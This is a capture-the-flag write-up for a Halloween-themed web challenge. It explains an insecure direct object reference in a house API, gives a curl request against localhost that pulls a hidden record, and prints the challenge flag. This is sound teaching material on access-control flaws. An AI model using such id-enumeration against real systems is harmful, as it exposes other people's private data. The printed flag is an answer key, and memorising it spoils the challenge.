Flash CTF – Door To Door

Overview

The Halloween-themed neighborhood site exposes an Insecure Direct Object Reference (IDOR) in api/house.php. Any numeric id returns a house record regardless of who is “logged in,” allowing access to hidden houses and private notes containing the flag.

How the site works

• On index.php, selecting your house posts house_id and stores it in the session.
• The treat page house.php?house=<id> then fetches details via GET api/house.php?id=<id> and renders the response.
• The homepage intentionally hides certain houses (those with "hidden": true in data/houses.json), but the API still serves them.

Discovery

1. From the homepage, pick any visible address; you land on house.php?house=<your_id>.
2. Open DevTools Network tab and refresh: the page calls api/house.php?id=<your_id>.
3. Modify either the page URL (house parameter) or call the API directly with a different numeric id; the backend returns data for that id without verifying ownership.

Exploitation

Manual proof-of-concept using the vulnerable API:

curl 'http://localhost:8080/api/house.php?id=13'

Formatted response (note the hidden house and the flag in the private note):

{
  "id": 13,
  "name": "The Haunted Mansion",
  "address": "1337 Shadow Court",
  "hidden": true,
  "candy": [
    { "kind": "Full-Size Bars", "qty": 13 },
    { "kind": "Flag", "qty": 1 }
  ],
  "note": "VIP list only. If you can see this, whisper the secret: MetaCTF{1n3cure_d1r3ct_c4ndy_r3f3r3nc3s}"
}

Why it works (root cause)

• Missing object-level authorization: api/house.php returns records solely by id and never checks the session’s house_id.
• Predictable identifiers: Small, sequential numeric ids make guessing/enumeration trivial.